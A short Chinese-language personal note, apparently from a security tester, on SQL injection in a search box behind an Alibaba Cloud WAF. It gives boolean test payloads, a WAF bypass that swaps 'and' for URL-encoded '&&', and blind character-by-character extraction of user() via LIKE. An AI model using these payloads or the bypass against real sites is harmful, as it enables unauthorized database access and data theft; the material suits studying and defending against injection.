做个笔记吧,某SQL注入点的绕过,有阿里云waf的。
首先遇到是个搜索框的注入点:
演示下:
针对搜索框,我们的sql语句一般是怎么写的?
本地演示:select * from product where pname like \'%华为%\'
我们如何进行注入判断?
select * from product where pname like \'%华为%\' and 1=1 and \'%%\'=\'%%\'
select * from product where pname like \'%华为%\' and 1=2 and \'%%\'=\'%%\'
那么我们的sql注入payload就是:%\' and 1=1 and \'%%\'=\'%
我们尝试注入这段语句:
直接遭到了拦截,我猜测可能是对and进行了过滤。不允许出现and
在SQL注入测试中我们知道一个小技巧那就是
and可以用&&进行替代。
or可以用||进行替代。
因为我们的注入类型是GET类型,所以我们要对&&进行url编码:
然后构造如下payload:%\' %26%26 1=1 %26%26 \'%%\'=\'%
正确回显了数据,如果我们and 1=2呢:
不显示信息,现在我们可以说这里是存在SQL注入的
我们使用这种方法判断出存在注入,现在我们还要继续出数据,挖掘SQL注入漏洞最基本的得注入出user()或者是database()名字:
我们对user()进行判断:
输入payload:%\' %26%26 user() like \'a%\' %26%26 \'%%\'=\'%
返回没有输出内容,说明我们的user()第一位不是a
继续探测:
直到输入o
输出了正确的内容,说明user()第一位就是o。
做个记录。。